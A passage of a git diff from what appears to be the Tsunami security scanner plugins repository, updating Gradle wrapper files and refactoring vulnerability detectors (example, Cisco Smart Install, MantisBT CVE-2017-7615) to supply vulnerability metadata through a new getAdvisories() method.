execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/examples/example_payload_framework_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayload.java b/examples/example_payload_framework_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayload.java index 67f709df0..bc30374b3 100644 --- a/examples/example_payload_framework_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayload.java +++ b/examples/example_payload_framework_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayload.java @@ -19,7 +19,6 @@ import static com.google.common.collect.ImmutableList.toImmutableList; import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; import com.google.protobuf.ByteString; import com.google.protobuf.util.Timestamps; import com.google.tsunami.common.data.NetworkServiceUtils; @@ -68,8 +67,6 @@ // following @ForSoftware annotation. // @ForSoftware(name = "Jenkins") public final class ExampleVulnDetectorWithPayload implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private final Clock utcClock; private final HttpClient httpClient; private final PayloadGenerator payloadGenerator; @@ -93,8 +90,6 @@ public final class ExampleVulnDetectorWithPayload implements VulnDetector { @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("ExampleVulnDetectorWithPayload starts detecting."); - return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() @@ -106,6 +101,25 @@ public DetectionReportList detect( .build(); } + // Your detector must provide information about the vulnerabilities it detects. + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("vulnerability_id_publisher") + .setValue("VULNERABILITY_ID")) + // If your vulnerability is a CVE, you need to reference it in the related advisories. + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-1234-12345")) + .setSeverity(Severity.CRITICAL) + .setTitle("Vulnerability Title") + .setDescription("Verbose description of the issue") + .setRecommendation("Verbose recommended solution") + .build()); + } + // Checks whether a given network service is vulnerable. Real detection logic implemented here. private boolean isServiceVulnerable(NetworkService networkService) { @@ -167,15 +181,7 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("vulnerability_id_publisher") - .setValue("VULNERABILITY_ID")) - .setSeverity(Severity.CRITICAL) - .setTitle("Vulnerability Title") - .setDescription("Verbose description of the issue") - .setRecommendation("Verbose recommended solution") + this.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData( diff --git a/examples/example_payload_framework_vuln_detector/src/test/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayloadTest.java b/examples/example_payload_framework_vuln_detector/src/test/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayloadTest.java index 5f098f380..2463eac6e 100644 --- a/examples/example_payload_framework_vuln_detector/src/test/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayloadTest.java +++ b/examples/example_payload_framework_vuln_detector/src/test/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayloadTest.java @@ -32,11 +32,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -136,15 +133,7 @@ public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("vulnerability_id_publisher") - .setValue("VULNERABILITY_ID")) - .setSeverity(Severity.CRITICAL) - .setTitle("Vulnerability Title") - .setDescription("Verbose description of the issue") - .setRecommendation("Verbose recommended solution") + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData( diff --git a/examples/example_vuln_detector/gradle/wrapper/gradle-wrapper.jar b/examples/example_vuln_detector/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/examples/example_vuln_detector/gradle/wrapper/gradle-wrapper.jar and b/examples/example_vuln_detector/gradle/wrapper/gradle-wrapper.jar differ diff --git a/examples/example_vuln_detector/gradle/wrapper/gradle-wrapper.properties b/examples/example_vuln_detector/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/examples/example_vuln_detector/gradle/wrapper/gradle-wrapper.properties +++ b/examples/example_vuln_detector/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/examples/example_vuln_detector/gradlew b/examples/example_vuln_detector/gradlew index 1aa94a426..23d15a936 100755 --- a/examples/example_vuln_detector/gradlew +++ b/examples/example_vuln_detector/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/examples/example_vuln_detector/gradlew.bat b/examples/example_vuln_detector/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/examples/example_vuln_detector/gradlew.bat +++ b/examples/example_vuln_detector/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/examples/example_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetector.java b/examples/example_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetector.java index c67a40fc4..415a035ac 100644 --- a/examples/example_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetector.java +++ b/examples/example_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetector.java @@ -19,7 +19,6 @@ import static com.google.common.collect.ImmutableList.toImmutableList; import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; import com.google.protobuf.util.Timestamps; import com.google.tsunami.common.time.UtcClock; import com.google.tsunami.plugin.PluginType; @@ -59,8 +58,6 @@ // following @ForSoftware annotation. // @ForSoftware(name = "Jenkins") public final class ExampleVulnDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private final Clock utcClock; // Tsunami scanner relies heavily on Guice framework. So all the utility dependencies of your @@ -79,8 +76,6 @@ public final class ExampleVulnDetector implements VulnDetector { @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("ExampleVulnDetector starts detecting."); - // An example implementation for a VulnDetector. return DetectionReportList.newBuilder() .addAllDetectionReports( @@ -93,6 +88,25 @@ public DetectionReportList detect( .build(); } + // Your detector must provide information about the vulnerabilities it detects. + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("vulnerability_id_publisher") + .setValue("VULNERABILITY_ID")) + // If your vulnerability is a CVE, you need to reference it in the related advisories. + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-1234-12345")) + .setSeverity(Severity.CRITICAL) + .setTitle("Vulnerability Title") + .setDescription("Verbose description of the issue") + .setRecommendation("Verbose recommended solution") + .build()); + } + // Checks whether a given network service is vulnerable. Real detection logic implemented here. private boolean isServiceVulnerable() { return true; @@ -107,15 +121,7 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("vulnerability_id_publisher") - .setValue("VULNERABILITY_ID")) - .setSeverity(Severity.CRITICAL) - .setTitle("Vulnerability Title") - .setDescription("Verbose description of the issue") - .setRecommendation("Verbose recommended solution") + this.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData( diff --git a/examples/example_vuln_detector/src/test/java/com/google/tsunami/plugins/example/ExampleVulnDetectorTest.java b/examples/example_vuln_detector/src/test/java/com/google/tsunami/plugins/example/ExampleVulnDetectorTest.java index e28f4dac4..31f025c8f 100644 --- a/examples/example_vuln_detector/src/test/java/com/google/tsunami/plugins/example/ExampleVulnDetectorTest.java +++ b/examples/example_vuln_detector/src/test/java/com/google/tsunami/plugins/example/ExampleVulnDetectorTest.java @@ -27,11 +27,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; import javax.inject.Inject; import org.junit.Before; @@ -72,15 +69,7 @@ public void detect_always_returnsVulnerability() { Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("vulnerability_id_publisher") - .setValue("VULNERABILITY_ID")) - .setSeverity(Severity.CRITICAL) - .setTitle("Vulnerability Title") - .setDescription("Verbose description of the issue") - .setRecommendation("Verbose recommended solution") + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData( diff --git a/facebook/detectors/rce/cisco_smi/src/main/java/com/google/tsunami/plugins/detectors/rce/cisco_smi/CiscoSMIDetector.java b/facebook/detectors/rce/cisco_smi/src/main/java/com/google/tsunami/plugins/detectors/rce/cisco_smi/CiscoSMIDetector.java index 4ebacc5cf..ccebaca13 100755 --- a/facebook/detectors/rce/cisco_smi/src/main/java/com/google/tsunami/plugins/detectors/rce/cisco_smi/CiscoSMIDetector.java +++ b/facebook/detectors/rce/cisco_smi/src/main/java/com/google/tsunami/plugins/detectors/rce/cisco_smi/CiscoSMIDetector.java @@ -64,6 +64,22 @@ public CiscoSMIDetector(@UtcClock Clock utcClock, SocketFactory socketFactory) { this.socketFactory = checkNotNull(socketFactory); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("CISCO") + .setValue("CISCO_SA_20170214_SMI")) + .setSeverity(Severity.HIGH) + .setTitle("Cisco Smart Install Protocol Misuse") + .setDescription( + "Cisco Smart Install feature should not be exposed as it enables attackers to" + + " perform administrative tasks on the device or remotely execute code") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -117,17 +133,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("CISCO") - .setValue("CISCO_SA_20170214_SMI")) - .setSeverity(Severity.HIGH) - .setTitle("Cisco Smart Install Protocol Misuse") - .setDescription( - "Cisco Smart Install feature should not be exposed as it enables attackers to" - + " perform administrative tasks on the device or remotely execute code")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/facebook/detectors/rce/cisco_smi/src/test/java/com/google/tsunami/plugins/detectors/rce/cisco_smi/CiscoSMIDetectorTest.java b/facebook/detectors/rce/cisco_smi/src/test/java/com/google/tsunami/plugins/detectors/rce/cisco_smi/CiscoSMIDetectorTest.java index 11d10a77c..9bfd3547b 100755 --- a/facebook/detectors/rce/cisco_smi/src/test/java/com/google/tsunami/plugins/detectors/rce/cisco_smi/CiscoSMIDetectorTest.java +++ b/facebook/detectors/rce/cisco_smi/src/test/java/com/google/tsunami/plugins/detectors/rce/cisco_smi/CiscoSMIDetectorTest.java @@ -34,11 +34,8 @@ import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.net.Socket; @@ -102,18 +99,7 @@ public void detect_whenCiscoSMIVulnerable_reportsVuln() throws Exception { .setNetworkService(smartInstallService()) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("CISCO") - .setValue("CISCO_SA_20170214_SMI")) - .setSeverity(Severity.HIGH) - .setTitle("Cisco Smart Install Protocol Misuse") - .setDescription( - "Cisco Smart Install feature should not be exposed as it enables" - + " attackers to perform administrative tasks on the device or" - + " remotely execute code")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); assertArrayEquals( new byte[] { diff --git a/go.mod b/go.mod new file mode 100644 index 000000000..6b54b3f47 --- /dev/null +++ b/go.mod @@ -0,0 +1,15 @@ +module github.com/google/tsunami-security-scanner-plugins + +go 1.22.0 + +require ( + github.com/google/tsunami-security-scanner v0.0.29 + github.com/rs/zerolog v1.34.0 + google.golang.org/protobuf v1.36.6 +) + +require ( + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.19 // indirect + golang.org/x/sys v0.12.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 000000000..282e667e0 --- /dev/null +++ b/go.sum @@ -0,0 +1,23 @@ +github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/tsunami-security-scanner v0.0.29 h1:YYW8x9yS+5gZJImgd7jQsHybyDJuCl9sFG/kt+H/GeM= +github.com/google/tsunami-security-scanner v0.0.29/go.mod h1:E4XYfpuWzppruQwO/JCGrcPDjTN4R0rR+L11SVRYRRo= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= +github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0= +github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY= +github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= +golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= +google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= diff --git a/google/detectors/credentials/cve20177615/gradle/wrapper/gradle-wrapper.jar b/google/detectors/credentials/cve20177615/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/credentials/cve20177615/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/credentials/cve20177615/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/credentials/cve20177615/gradle/wrapper/gradle-wrapper.properties b/google/detectors/credentials/cve20177615/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/credentials/cve20177615/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/credentials/cve20177615/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/credentials/cve20177615/gradlew b/google/detectors/credentials/cve20177615/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/credentials/cve20177615/gradlew +++ b/google/detectors/credentials/cve20177615/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/credentials/cve20177615/gradlew.bat b/google/detectors/credentials/cve20177615/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/credentials/cve20177615/gradlew.bat +++ b/google/detectors/credentials/cve20177615/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/credentials/cve20177615/src/main/java/com/google/tsunami/plugins/detectors/credentials/cve20177615/MantisBTAuthenticationBypassDetector.java b/google/detectors/credentials/cve20177615/src/main/java/com/google/tsunami/plugins/detectors/credentials/cve20177615/MantisBTAuthenticationBypassDetector.java index 335ad207f..d75fea6cd 100644 --- a/google/detectors/credentials/cve20177615/src/main/java/com/google/tsunami/plugins/detectors/credentials/cve20177615/MantisBTAuthenticationBypassDetector.java +++ b/google/detectors/credentials/cve20177615/src/main/java/com/google/tsunami/plugins/detectors/credentials/cve20177615/MantisBTAuthenticationBypassDetector.java @@ -75,6 +75,22 @@ public final class MantisBTAuthenticationBypassDetector implements VulnDetector this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2017_7615")) + .setSeverity(Severity.CRITICAL) + .setTitle("MantisBT Authentication Bypass (CVE-2017-7615)") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2017-7615")) + .setDescription( + "MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated" + + " admin access via an empty confirm_hash value to verify.php.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -125,15 +141,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2017_7615")) - .setSeverity(Severity.CRITICAL) - .setTitle("MantisBT Authentication Bypass (CVE-2017-7615)") - .setDescription( - "MantisBT through 2.3.0 allows arbitrary password reset 